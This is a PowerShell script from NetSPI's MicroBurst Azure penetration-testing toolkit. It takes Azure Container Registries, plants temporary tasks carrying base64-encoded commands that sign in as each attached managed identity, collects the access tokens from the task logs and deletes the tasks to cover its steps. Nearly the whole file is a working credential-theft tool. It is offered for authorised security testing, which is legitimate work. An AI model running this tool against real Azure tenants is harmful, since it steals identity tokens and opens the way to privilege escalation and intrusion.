Files
NetSPI-MicroBurst/Az/Invoke-AzACRTokenGenerator.ps1
2025-03-01 08:58:23 +00:00

357 lines
16 KiB
PowerShell

<#
File: Invoke-AzACRTokenGenerator.ps1
Author: Karl Fosaaen (@kfosaaen), NetSPI - 2023
Description: PowerShell function for dumping Azure Managed Identity tokens, using ACR Tasks.
#>
Function Invoke-AzACRTokenGenerator
{
<#
.SYNOPSIS
Dumps access tokens for any Azure Container Registries with attached Managed Identities.
.DESCRIPTION
This function will look for any available Azure Container Registries, allow you to select registries to target, then create temporary tasks that use attached Managed Identities to generate access tokens.
.PARAMETER Subscription
Subscription to use.
.PARAMETER TokenScope
The scope to generate the Managed Identity for.
.EXAMPLE
PS C:\MicroBurst> Invoke-AzACRTokenGenerator -Verbose
VERBOSE: Logged In as kfosaaen@example.com
VERBOSE: Enumerating Azure Container Registries in the "Sample Subscription" Subscription
VERBOSE: 2 Azure Container Registries Enumerated
VERBOSE: 2 Azure Container Registries Selected for Targeting
VERBOSE: netspi Container Registry has a System Assigned Managed Identity attached
VERBOSE: Creating token generation task (pclUgQiGryDSOLV) for the netspi Container Registry with a System Assigned Managed Identity
VERBOSE: Running the token generation task (pclUgQiGryDSOLV) from the netspi Container Registry
VERBOSE: Waiting for the task (pclUgQiGryDSOLV) logs
VERBOSE: Parsing the task (pclUgQiGryDSOLV) logs
VERBOSE: Deleting token generation task (pclUgQiGryDSOLV) from the netspi Container Registry
VERBOSE: netspi Container Registry has a User Assigned Managed Identity (testingIdentity1) attached
VERBOSE: Creating token generation task (KLwivMVbjgnmqHf) for the netspi Container Registry with a User Assigned Managed Identity (testingIdentity)
VERBOSE: Running the token generation task (KLwivMVbjgnmqHf) from the netspi Container Registry
VERBOSE: Waiting for the task (KLwivMVbjgnmqHf) logs
VERBOSE: Parsing the task (KLwivMVbjgnmqHf) logs
VERBOSE: Deleting token generation task (KLwivMVbjgnmqHf) from the netspi Container Registry
VERBOSE: notspi Container Registry does not have a Managed Identity attached
VERBOSE: Token Generation Activities Have Completed for the "Sample Subscription" Subscription
.LINK
https://www.netspi.com/blog/technical/cloud-penetration-testing/automating-managed-identity-token-extraction-in-azure-container-registries
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
HelpMessage="Subscription to use.")]
[string]$Subscription = "",
[parameter(Mandatory=$false,
HelpMessage="The scope to generate the Managed Identity for.")]
[String]$TokenScope = "https://management.azure.com/"
)
# Check to see if we're logged in
$LoginStatus = Get-AzContext
$accountName = ($LoginStatus.Account).Id
if ($LoginStatus.Account -eq $null){Write-Warning "No active login. Prompting for login."
try {Connect-AzAccount -ErrorAction Stop}
catch{Write-Warning "Login process failed."}
}
else{}
# Subscription name is technically required if one is not already set, list sub names if one is not provided "Get-AzSubscription"
if ($Subscription){
Select-AzSubscription -SubscriptionName $Subscription | Out-Null
}
else{
# List subscriptions, pipe out to gridview selection
$Subscriptions = Get-AzSubscription -WarningAction SilentlyContinue
$subChoice = $Subscriptions | Out-GridView -Title "Select One or More Subscriptions" -PassThru
foreach ($sub in $subChoice) {Invoke-AzACRTokenGenerator -Subscription $sub -TokenScope $TokenScope}
return
}
Write-Verbose "Logged In as $accountName"
Write-Verbose "Enumerating Azure Container Registries in the `"$((Get-AzSubscription -SubscriptionId $Subscription).Name)`" Subscription"
# Get a list of Container Registries
$ACRs = Get-AzContainerRegistry
Write-Verbose "`t$($ACRs.Count) Azure Container Registries Enumerated"
# List ACRs, pipe out to gridview selection
$acrChoice = $ACRs | out-gridview -Title "Select One or More ACR" -PassThru
if($acrChoice.Count -gt 0){
Write-Verbose "`t$($acrChoice.Count) Azure Container Registries Selected for Targeting"
# Create data table to house results
$TempTblTokens = New-Object System.Data.DataTable
$TempTblTokens.Columns.Add("ACR") | Out-Null
$TempTblTokens.Columns.Add("ManagedIdentity") | Out-Null
$TempTblTokens.Columns.Add("Scope") | Out-Null
$TempTblTokens.Columns.Add("Token") | Out-Null
# Get Token for REST APIs
$AccessToken = Get-AzAccessToken
if ($AccessToken.Token -is [System.Security.SecureString]) {
$ssPtr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($AccessToken.Token)
try {
$basetoken = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($ssPtr)
} finally {
[System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($ssPtr)
}
} else {
$basetoken = $AccessToken.Token
}
# Iterate through the ACRs
$acrChoice | ForEach-Object{
$location = $_.Location
$ResourceGroupName = $_.ResourceGroupName
# Grab the ACR Managed Identity Info
$ACRendpoint = (-join("https://management.azure.com",$_.Id,"?api-version=2022-02-01-preview"))
$ACRInfo = (Invoke-RestMethod -UseBasicParsing -Uri $ACRendpoint -Headers @{ Authorization ="Bearer $basetoken"} -Verbose:$false)
$ACRInfo | ForEach-Object{
# Case - Has a systemAssigned
if($_.identity.type -match "systemAssigned"){
Write-Verbose "`t`t$($_.name) Container Registry has a System Assigned Managed Identity attached"
$tokenOut = Invoke-AzACRTokenTask -SubscriptionID $Subscription -Name $_.name -TokenScope $TokenScope -Location $location -ResourceGroupName $ResourceGroupName | ConvertFrom-Json
$TempTblTokens.Rows.Add($tokenOut.ACR,$tokenOut.ManagedIdentity,$tokenOut.Scope,$tokenOut.Token) | Out-Null
}
# Case - Has a userAssigned
if($_.identity.type -match "userAssigned"){
$ACRName = $_.name
$noteProperties = Get-Member -InputObject $_.identity.userAssignedIdentities | Where-Object {$_.MemberType -eq "NoteProperty"}
foreach($id in $noteProperties){
Write-Verbose "`t`t$($_.name) Container Registry has a User Assigned Managed Identity ($(($id.Name).Split("/")[-1])) attached"
$tokenOut = Invoke-AzACRTokenTask -SubscriptionID $Subscription -Name $ACRName -ManagedIdentity $id.Name -TokenScope $TokenScope -UserAssignedID $_.identity.userAssignedIdentities.$($id.Name).clientId -Location $location -ResourceGroupName $ResourceGroupName | ConvertFrom-Json
$TempTblTokens.Rows.Add($tokenOut.ACR,$tokenOut.ManagedIdentity,$tokenOut.Scope,$tokenOut.Token) | Out-Null
}
}
# Case - Has no attached Managed IDs - Do nothing
else{Write-Verbose "`t`t$($_.name) Container Registry does not have a Managed Identity attached"}
}
}
}
else{Write-Verbose "`tNo Azure Container Registries available in the current Subscription or login context"}
Write-Verbose "Token Generation Activities Have Completed for the `"$((Get-AzSubscription -SubscriptionId $Subscription).Name)`" Subscription"
# Output Tokens
Write-Output $TempTblTokens
}
Function Invoke-AzACRTokenTask
{
<# This is a helper function for the main function #>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
HelpMessage="Subscription to use.")]
[string]$SubscriptionID = "",
[parameter(Mandatory=$false,
HelpMessage="The location of the ACR.")]
[String]$Location = "",
[parameter(Mandatory=$false,
HelpMessage="The Resource Group of the ACR.")]
[String]$ResourceGroupName = "",
[parameter(Mandatory=$false,
HelpMessage="The Managed Identity to target.")]
[String]$ManagedIdentity = "",
[parameter(Mandatory=$false,
HelpMessage="The UA Managed Identity ID to target.")]
[String]$UserAssignedID = "",
[parameter(Mandatory=$false,
HelpMessage="The scope to generate the Managed Identity for.")]
[String]$TokenScope = "https://management.azure.com/",
[Parameter(Mandatory=$false,
HelpMessage="The name of the ACR to target.")]
[string]$Name = ""
)
# Get Token for REST APIs
$AccessToken = Get-AzAccessToken
if ($AccessToken.Token -is [System.Security.SecureString]) {
$ssPtr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($AccessToken.Token)
try {
$basetoken = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($ssPtr)
} finally {
[System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($ssPtr)
}
} else {
$basetoken = $AccessToken.Token
}
# Set Random names for the tasks. Prevents conflict issues
$taskName = -join ((65..90) + (97..122) | Get-Random -Count 15 | % {[char]$_})
if ($ManagedIdentity -eq ""){
# System Assigned Case
Write-Verbose "`t`t`tCreating token generation task ($taskName) for the $name Container Registry with a System Assigned Managed Identity"
# Create value for output
$MIDValue = "SystemAssigned"
# Build the Steps - Convert to B64
$taskb64 = [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes("version: v1.1.0`nsteps:`n - cmd: az login --identity --allow-no-subscriptions`n - cmd: az account get-access-token --resource=$TokenScope"))
# Build POST Body for Task Creation
$taskBody = @{
location = $Location
properties = @{
status = "Enabled"
platform = @{
os = "Linux"
architecture = "amd64"
}
agentConfiguration = @{
cpu = 2
}
timeout = 3600
step = @{
type = "EncodedTask"
encodedTaskContent = $taskb64
values = ""
}
trigger= @{
baseImageTrigger = @{
name = "defaultBaseimageTriggerName"
updateTriggerPayloadType = "Default"
baseImageTriggerType = "Runtime"
status = "Enabled"
}
}
}
identity = @{
type = "SystemAssigned"
}
}
}
else{
# User Assigned Case
Write-Verbose "`t`t`tCreating token generation task ($taskName) for the $name Container Registry with a User Assigned Managed Identity ($(($id.Name).Split("/")[-1]))"
# Create value for output
$MIDValue = $id.Name
# Build the Steps - Convert to B64
$taskb64 = [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes("version: v1.1.0`nsteps:`n - cmd: az login --identity --allow-no-subscriptions --username $UserAssignedID`n - cmd: az account get-access-token --resource=$TokenScope"))
# Build POST Body for Task Creation
$taskBody = @{
location = $Location
properties = @{
status = "Enabled"
platform = @{
os = "Linux"
architecture = "amd64"
}
agentConfiguration = @{
cpu = 2
}
timeout = 3600
step = @{
type = "EncodedTask"
encodedTaskContent = $taskb64
values = ""
}
trigger= @{
baseImageTrigger = @{
name = "defaultBaseimageTriggerName"
updateTriggerPayloadType = "Default"
baseImageTriggerType = "Runtime"
status = "Enabled"
}
}
}
identity = @{
type = "SystemAssigned, UserAssigned"
userAssignedIdentities = @{
$ManagedIdentity = @{}
}
}
}
}
# Submit POST Request
$resourceURL = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.ContainerRegistry/registries/$Name/tasks/$($taskName)?api-version=2019-04-01"
$taskCreation = Invoke-RestMethod -Uri $resourceURL -Headers @{ Authorization ="Bearer $basetoken"} -Verbose:$false -Method Put -Body $($taskBody | ConvertTo-Json -Depth 3) -ContentType "application/json"
# Schedule the run of the Task
$schedBody = @{
type = "TaskRunRequest"
isArchiveEnabled = $false
taskId = "/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.ContainerRegistry/registries/$Name/tasks/$($taskName)"
TaskName = $($taskName)
overrideTaskStepProperties = @{
arguments = @()
values = @()
}
}
$taskRunURL = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.ContainerRegistry/registries/$Name/scheduleRun?api-version=2019-04-01"
Write-Verbose "`t`t`t`tRunning the token generation task ($taskName) from the $name Container Registry"
$taskRun = Invoke-RestMethod -Uri $taskRunURL -Headers @{ Authorization ="Bearer $basetoken"} -Verbose:$false -Method Post -Body $($schedBody | ConvertTo-Json -Depth 3) -ContentType "application/json" | ConvertTo-Json | ConvertFrom-Json
# Get Task Results Log Link
Write-Verbose "`t`t`t`t`tWaiting for the task ($taskName) logs"
$logLinkURL = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.ContainerRegistry/registries/$Name/runs/$($taskRun.name)/listLogSasUrl?api-version=2019-04-01"
$logLink = Invoke-RestMethod -Uri $logLinkURL -Headers @{ Authorization ="Bearer $basetoken"} -Verbose:$false -Method Post -ContentType "application/json" | ConvertTo-Json | ConvertFrom-Json
# Wait for "x-ms-meta-Complete: successful" status on the blob
$logOutputHEAD = ""
while($logOutputHEAD.'x-ms-meta-Complete' -ne 'successful'){
try{$logOutputHEAD = (Invoke-WebRequest -ErrorAction SilentlyContinue -Verbose:$false -UseBasicParsing -Method Head -Uri $logLink.logLink).Headers; sleep 3}
catch{}
}
# Poll the log link for results
$logOutput = (Invoke-WebRequest -Verbose:$false -UseBasicParsing -Uri $logLink.logLink).Content
Write-Verbose "`t`t`t`tParsing the task ($taskName) logs"
# Define a regular expression pattern to match JSON objects
$jsonPattern = '\{(?:[^{}]|(?<o>\{)|(?<-o>\}))+(?(o)(?!))\}'
# Find all JSON matches in the output
$jsonMatches = [regex]::Matches($logOutput, $jsonPattern)
# Output Object
$outputOBJ = @{
ACR = $Name
ManagedIdentity = $MIDValue
Token = ($jsonMatches.value | ConvertFrom-Json).accessToken[1]
Scope = $TokenScope
}
# Remove the Task
Write-Verbose "`t`t`tDeleting token generation task ($taskName) from the $name Container Registry"
$taskDeletion = Invoke-RestMethod -Uri $resourceURL -Headers @{ Authorization ="Bearer $basetoken"} -Verbose:$false -Method Delete
$outputOBJ | ConvertTo-Json
}